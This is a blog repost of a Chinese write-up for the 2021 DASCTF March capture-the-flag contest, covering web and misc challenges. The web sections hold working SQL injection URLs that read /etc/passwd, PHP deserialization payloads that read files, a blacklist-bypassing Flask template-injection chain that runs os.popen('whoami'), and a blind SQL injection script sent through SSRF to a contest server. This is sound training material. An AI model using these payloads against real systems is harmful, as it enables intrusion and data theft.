文章目录
- WEB
- BestDB
- ez_serialize
- baby_flask
- ez_login
- MISC
- 签到
- 简单的png隐写
- 雾都孤儿
- 小田的秘密
- Ascii_art
- 问卷调查
和团队的师傅们组队拿了个第十,师傅们带飞,我就是团队的MVP(Most Vegetable People)
WEB
BestDB
简单的SQL注入
/?query=mochu"or/**/1=1%23
/?query=mochu"order/**/by/**/3%23
/?query=mochu"union/**/select/**/1,2,3%23
/?query=mochu"union/**/select/**/load_file(0x2f6574632f706173737764),2,3%23
/?query=mochu"union/**/select/**/load_file(0x2f666c61672e747874),2,3%23
ez_serialize
index.php
<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
public $class;
public $para;
public $check;
public function __construct()
{
$this->class = "B";
$this->para = "ctfer";
echo new $this->class ($this->para);
}
public function __wakeup()
{
$this->check = new C;
if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
echo new $this->class ($this->para);
}
else
die('bad hacker~');
}
}
class B{
var $a;
public function __construct($a)
{
$this->a = $a;
echo ("hello ".$this->a);
}
}
class C{
function vaild($code){
$pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
if (preg_match($pattern, $code)){
return false;
}
else
return true;
}
}
if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
else{
$a=new A;
}
先简单分析下每个类的功能吧,class A
中__construct()
方法给变量设置了初始值,然后拼接了动态类(类名和参数都可控)并且实例化后输出结果。__wakeup()
方法实例化了class C
,然后验证了$this->para
和$this->class
之后进行了拼接动态类、实例化、并且输出。class B
没啥用处,__construct()
会输出$this->a
。class C
类用于过滤一些指定字符,不过这里过滤没啥用。
利用PHP标准库 (SPL)
: https://www.php.net/manual/zh/book.spl.php PHP标准库中有能够进行文件处理和目录迭代的类
Class | Introduction |
| The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories. |
| The Filesystem iterator |
| Iterates through a file system in a similar fashion to glob(). |
| The SplFileObject class offers an object oriented interface for a file. |
<?php
class A{
public $class;
public $para;
public function __construct(){
$this->class = "FilesystemIterator";
$this->para = "/var/www/html";
}
}
$poc = new A();
echo serialize($poc);
?>
O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:13:"/var/www/html";}
1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE
是个目录,继续浏览这个目录下有啥
O:1:"A":2:{s:5:"class";s:18:"FilesystemIterator";s:4:"para";s:47:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE";}
<?php
class A{
public $class;
public $para;
public function __construct(){
$this->class = "SplFileObject";
$this->para = "/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
}
}
$poc = new A();
echo serialize($poc);
?>
O:1:"A":2:{s:5:"class";s:13:"SplFileObject";s:4:"para";s:56:"/var/www/html/1aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";}
baby_flask
F12
查看源码发现黑名单
Hi young boy!
Do you like ssti?
blacklist
'.','[','\'','"',''\\','+',':','_',
'chr','pop','class','base','mro','init','globals','get',
'eval','exec','os','popen','open','read',
'select','url_for','get_flashed_messages','config','request',
'count','length','0','1','2','3','4','5','6','7','8','9','0','1','2','3','4','5','6','7','8','9'
过滤了很多特殊符号和关键字以及数字,包括全角半角数字。一步步来,先本地起一个Flask的SSTI环境来进行测试
from flask import Flask
from flask import render_template
from flask import request
from flask import render_template_string
app = Flask(__name__)
@app.route('/test/')
def test():
code = request.args.get('id')
template = '''
<h3>%s</h3>
'''%(code)
return render_template_string(template)
if __name__ == '__main__':
app.run()
首先这里过滤了+
、'
、"
,不过还是可以拼接字符,利用join
过滤器
{%set a=dict(mo=a,chu7=a)|join%}{{a}}
这样就可以绕过黑名单里面的关键字了,但是一些特殊符号还是无法绕过,例如:_
、[
等,尝试通过在回显的字符中获取,例如:lipsum
将lipsum
的输出转换成字符再转换成列表字符
{{lipsum|string|list}}
这里有下划线,根据黑名单里面的过滤字符,这里可以使用index
的方式来取每一位字符的下标数字,过滤了点.
可以通过attr
来绕过
{%set idx=dict(ind=a,ex=a)|join%}
{%set ff=dict(f=a)|join%}
{{(lipsum|string|list)|attr(idx)(ff)}}
这样就能拿到字符f
的下标数字1
了,也就能拿到所有的数字了
{%set ff=dict(f=a)|join%} //下标是数字1
{%set uu=dict(u=a)|join%} //下标是数字2
{%set nn=dict(n=a)|join%} //下标是数字3
{%set cc=dict(c=a)|join%} //下标是数字4
{%set tt=dict(t=a)|join%} //下标是数字5
{%set ii=dict(i=a)|join%} //下标是数字6
{%set oo=dict(o=a)|join%} //下标是数字7
{%set gg=dict(g=a)|join%} //下标是数字10
{%set ee=dict(e=a)|join%} //下标是数字11
{%set rr=dict(r=a)|join%} //下标是数字14
{%set aa=dict(a=a)|join%} //下标是数字15
.......
然后获取下划线_
,可以通过pop
或者__getitem__
来获取指定下标的字符
{%set idx=dict(ind=a,ex=a)|join%}
{%set p=dict(po=a,p=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{{(lipsum|string|list)|attr(p)(three*six)}}
等效于:{{(lipsum|string|list).pop(18)}}
拿到下划线了之后,就可以构造__globals__
、__builtins__
,这样就可以使用chr
{{lipsum.__globals__['__builtins__'].chr(65)}}
{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set ff=dict(f=a)|join%}
{%set tt=dict(t=a)|join%}
{%set rr=dict(r=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set one=(lipsum|string|list)|attr(idx)(ff)%}
{%set five=(lipsum|string|list)|attr(idx)(tt)%}
{%set fourteen=(lipsum|string|list)|attr(idx)(rr)%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set chars=(lipsum|attr(gbls))|attr(gt)(bltns)|attr(gt)(char)%}
{%set A=chars((fourteen-one)*five)%}
{{A}}
接着尝试构造命令执行
{{lipsum.__globals__.get('os').popen('whoami').read()}}
{%set idx=dict(ind=a,ex=a)|join%}
{%set pp=dict(po=a,p=a)|join%}
{%set ppn=dict(po=a,pen=a)|join%}
{%set gt=dict(ge=a,t=a)|join%}
{%set char=dict(ch=a,r=a)|join%}
{%set so=dict(o=a,s=a)|join%}
{%set red=dict(re=a,ad=a)|join%}
{%set nn=dict(n=a)|join%}
{%set ii=dict(i=a)|join%}
{%set three=(lipsum|string|list)|attr(idx)(nn)%}
{%set six=(lipsum|string|list)|attr(idx)(ii)%}
{%set underscore=(lipsum|string|list)|attr(pp)(three*six)%}
{%set gbls=(underscore,underscore,dict(glob=a,als=a)|join,underscore,underscore)|join%}
{%set bltns=(underscore,underscore,dict(builtins=a)|join,underscore,underscore)|join%}
{%set cmd=dict(whoami=a)|join%}
{{(lipsum|attr(gbls))|attr(gt)(so)|attr(ppn)(cmd)|attr(red)()}}
ez_login
index.php
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
include("./php/check_ip.php");
error_reporting(0);
$url = $_GET['url'];
if(check_inner_ip($url)){
if($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION,1);
$output = curl_exec($ch);
$result_info = curl_getinfo($ch);
curl_close($ch);
}
}else{
echo "Your IP is internal yoyoyo";
}
?>
目录扫描扫到一个admin.php
访问下发现只能从本地访问,加了个XFF
也不行,看源码估计应该是利用SSRF从内部访问过去
分析代码,要利用SSRF得先绕过这个
<?php
if(!isset($_SESSION)){
highlight_file(__FILE__);
die("no session");
}
需要初始化session
,这里需要利用PHP_SESSION_UPLOAD_PROGRESS
来初始化session
session.upload_progress
是php>=5.4
添加的。最初是PHP为上传进度条设计的一个功能,在上传文件较大的情况下,PHP将进行流式上传,并将进度信息放在session
中(包含用户可控的值),即使此时用户没有初始化session
,PHP也会自动初始化session
。 而且,默认情况下session.upload_progress.enabled
是为开启的
# -*- coding: utf-8 -*-
import requests
url = 'http://183.129.189.60:10015/?url=http://localhost/admin.php'
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'}
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
print(r.request.body.decode('utf8'))
print(r.text)
初始化session
后,利用SSRF根据之前的提示访问内网的admin.php
POST /?url=http://localhost/admin.php HTTP/1.1
Host: 183.129.189.60:10015
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=jtq4q3fdfgnckcrd52a6nhf90a
Content-Type: multipart/form-data; boundary=---------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Length: 345
-----------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
mochu7
-----------------------------2f3cfb380baba3a0dbedba68771e56c3
Content-Disposition: form-data; name="file"; filename="mochu7.txt"
mochu7
-----------------------------2f3cfb380baba3a0dbedba68771e56c3--
admin.php
长这样
admin.php
的注释里面有一个/yuanma_f0r_eAZy_logon.zip
,访问下载得到se1f_Log3n.php
<?php
include("./php/db.php");
include("./php/check_ip.php");
error_reporting(E_ALL);
$ip = $_SERVER["REMOTE_ADDR"];
if($ip !== "127.0.0.1"){
exit();
}else{
try{
$sql = 'SELECT `username`,`password` FROM `user` WHERE `username`= "'.$username.'" and `password`="'.$password.'";';
$result = $con->query($sql);
echo $sql;
}catch(Exception $e){
echo $e->getMessage();
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND die("error")) OR ( ($con->close() AND die('Try again!') ));
}
布尔盲注,url编码一下payload,#(%23)
两次编码
from urllib.parse import quote
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or 1=1%23&password=mochu7'
print(quote(payload))
对比下这两次结果即可判断是布尔盲注
/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D1%2523%26password%3Dmochu7
/?url=http%3A//localhost//se1f_Log3n.php%3Fusername%3Dmochu%27or%201%3D2%2523%26password%3Dmochu7
附上脚本
# -*- coding: utf-8 -*-
from urllib.parse import quote
import requests
import time
asc_str = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\"#$%&'()*+,-./:;<=>?@[\]^_`{|}~"
mydata = {'PHP_SESSION_UPLOAD_PROGRESS':'mochu7'}
myfile = {'file':('mochu7.txt','mochu7')}
mycookie = {'PHPSESSID':'jtq4q3fdfgnckcrd52a6nhf90a'}
ip = 'http://183.129.189.60:10015/?url='
flag = ''
for l in range(1,50):
for s in asc_str:
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=mochu7'.format(l,ord(s))
url = ip + quote(payload)
r = requests.post(url=url, data=mydata, files=myfile, cookies=mycookie)
time.sleep(0.2)
if 'correct?' in r.text:
flag += s
print(flag)
else:
pass
Payload和查询的信息
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select user()),{},1))={}%23password=mochu7'.format(l,ord(s))
user(): root@localhost
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))={}%23password=mochu7'.format(l,ord(s))
databases: ctf,information_schema,mysql,performance_schema,test
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))={}%23password=mochu7'.format(l,ord(s))
Table_in_ctf: secret,users
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select group_concat(column_name) from information_schema.columns where table_name=\'secret\'),{},1))={}%23password=mochu7'.format(l,ord(s))
Column_in_secret: flag
payload = 'http://localhost//se1f_Log3n.php?username=mochu\'or ascii(mid((select flag from ctf.secret),{},1))={}%23password=mochu7'.format(l,ord(s))
MISC
签到
公众号语音识别:
异世相遇!尽享美味!安恒赛高!
见笑了,偶四南方银,藕的普通话不镖准哈哈哈~
DASCTF{welcome_to_march_dasctf}
简单的png隐写
一开始以为hint.png
是伪加密,flag.jpg
是真加密,结果后面尝试了一下发现两个都是伪加密
,直接修改ushort deFlags
为偶数
,解压得到两张图
题目说是png隐写,Tweakpng
或者pngcheck
检查下hint.png
root@mochu7 # pngcheck -v hint.png
File: hint.png (73727 bytes)
chunk IHDR at offset 0x0000c, length 13
1654 x 485 image, 32-bit RGB+alpha, non-interlaced
chunk IDAT at offset 0x00025, length 8192
zlib: deflated, 32K window, default compression
chunk IDAT at offset 0x02031, length 8192
chunk IDAT at offset 0x0403d, length 8192
chunk IDAT at offset 0x06049, length 2308
chunk IDAT at offset 0x06959, length 8192
chunk IDAT at offset 0x08965, length 8192
chunk IDAT at offset 0x0a971, length 8192
chunk IDAT at offset 0x0c97d, length 8192
chunk IDAT at offset 0x0e989, length 8192
chunk IDAT at offset 0x10995, length 5718
chunk IEND at offset 0x11ff7, length 0
No errors detected in hint.png (12 chunks, 97.7% compression).
发现IDAT Chunk
未满,后面又开始满了,所以猜测这里是两张图片,而且chunk
的length
都一样,感觉像一张图片拆成两张图,然后将另外一张的IDAT Chunk
放入这张hint.png
,所以直接将后面的chunk
和结尾全部提取出来加上png头和IHDR
组成另外一张png图片
得到新的提示outguess
,并且密码是:890504E
root@kali /home/mochu7/Desktop % outguess -k "89504E" -r flag.jpg flag.txt
Reading flag.jpg....
Extracting usable bits: 147535 bits
Steg retrieve: seed: 232, len: 185
root@kali /home/mochu7/Desktop % cat flag.txt
MUY4QjA4MDg5MTgwNzg1RTAwMDM2NjZDNjE2NzJFNzQ3ODc0MDA0QkNCNDk0Q0FGMzZCMDMwMzQ0RDM1NDlCNjRDMzMzNTMzMzRCMTQ4MzVCNzQ4NEEzNTMzNDg0OTMyMzU0QjRFMzUzMTQ5MzFCNUFDRTVFMjAyMDA0NjhCMjIzRjI4MDAwMDAw
base64
解码
1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000
gzip的十六进制文件数据
Python简单处理
from binascii import *
hexdata = "1F8B08089180785E0003666C61672E747874004BCB494CAF36B030344D3549B64C33353334B14835B7484A3533484932354B4E35314931B5ACE5E20200468B223F28000000"
with open('flag.gz','wb') as f:
f.write(unhexlify(hexdata))
或者CyberChef
直接可以base64->hex->Gzip
:https://gchq.github.io/CyberChef/
flag{0815e4c9f56148e78be60db56ce44d59}
雾都孤儿
1.png
是一种Colorful programming
叫npiet
: https://www.bertnase.de/npiet/npiet-online
: https://www.bertnase.de/npiet/npiet-execute.php
得到信息:Tetris
然后继续查看Oliver Twist.docx
只有这一张图片了,改docx
后缀为zip
取出原图image1.jpeg
JPG图片,然后有密钥:Tetris
,试了几个常见的jpg隐写,发现是outguess
隐写
100000001001
11010101110
10000001101
100000001010
110101010
1101010110111
100000001000
110101010
0001
0100
11011
11010100110
110101000
11011
11010100110
11010101111
1100100
101101
101101
1001
101110
11010100110
100000001001
0100
101111
11010110
001
0101
11011
11010100110
11011
001
101111
0000
001
1010
11010100110
1000000111
1000000111
110101011000
到这里就不会了…,参考fzwjscj师傅
的writeup文章中的脚本
原文链接:http://www.fzwjscj.xyz/index.php/archives/41/?_wv=16777223&_bid=3354 自制编码,ouguess
提取出来的是Huffman
编码,对docx文档中进行字频统计,然后进行哈夫曼编码得到flag
#Huffman Encoding
#Tree-Node Type
import random
class Node:
def __init__(self,freq):
self.left = None
self.right = None
self.father = None
self.freq = freq
def isLeft(self):
return self.father.left == self
#create nodes创建叶子节点
def createNodes(freqs):
return [Node(freq) for freq in freqs]
#create Huffman-Tree创建Huffman树
def createHuffmanTree(nodes):
queue = nodes[:]
print(queue) #一个个node的地址
#每次对queue进行排序,
while len(queue) > 1:
queue.sort(key=lambda item:item.freq) #reverse = false
node_left = queue.pop(0)
node_right = queue.pop(0)
node_father = Node(node_left.freq + node_right.freq)
node_father.left = node_left
node_father.right = node_right
node_left.father = node_father
node_right.father = node_father
queue.append(node_father)
queue[0].father = None
return queue[0]
#Huffman编码
def huffmanEncoding(nodes,root):
codes = [''] * len(nodes)
for i in range(len(nodes)):
node_tmp = nodes[i]
while node_tmp != root:
if node_tmp.isLeft():
codes[i] = '0' + codes[i]
else:
codes[i] = '1' + codes[i]
node_tmp = node_tmp.father
return codes
def freq_count(strr):
chars = []
chars_fre = []
for i in range(len(strr)):
if strr[i] in chars:
pass
else:
chars.append(strr[i])
char_fre = (strr[i], strr.count(strr[i]))
chars_fre.append(char_fre)
return chars_fre
def encoder_huffman(strr,chars_fre,codes):
huffmans=''
for word in strr:
i = 0
#用于与code【i】还有item 的符号一一对应
for item in chars_fre:
if word == item[0]:
huffmans += codes[i]
i += 1
print(huffmans)
return huffmans
def decode_huffman(huffmans,codes,chars_fre):
original_code=''
while huffmans!='':
i=0
for item in codes:
if item in huffmans:
if huffmans.index(item) ==0:
original_code += chars_fre[i][0]
huffmans=huffmans[len(item):]
i+=1
return original_code
if __name__ =='__main__':
sttttt=""
sttttt = open('docx.txt','r').read()#docx.txt为Oliver Twist.docx中提取出来的文字
chars_freqs =[]
chars_freqs = freq_count(sttttt)
print('文本中字符的统计如下:\n'+str(chars_freqs))
nodes = createNodes([item[1] for item in chars_freqs])
root = createHuffmanTree(nodes)
codes = huffmanEncoding(nodes,root)
res = {}
for item in zip(chars_freqs,codes):
print ('Character:%s freq:%-2d encoding: %s' % (item[0][0],item[0][1],item[1]))
res.update({item[1]:item[0][0]})
print(res)
d2 = open('flag.txt','r').readlines()#flag.txt为outguess提取出来的编码
re = ''
for i in d2:
re+=res[i[:-1]]
print(re)
DASCTF{This_Is_Hvffam_Dickens_secret_!!}
小田的秘密
解压,得到一个有密码的压缩包和一个流量包misc.pcapng
猜测要从misc.pcapng
中找到压缩包密码,追踪下TCP
流量,找到一个gift
的文件
到处对象->HTTP
在index.php
中得到这个gift
文件
标签:join%,__,set,Writeup,888,flag,dict,2021,DASCTF
From: https://blog.51cto.com/u_16159500/6517821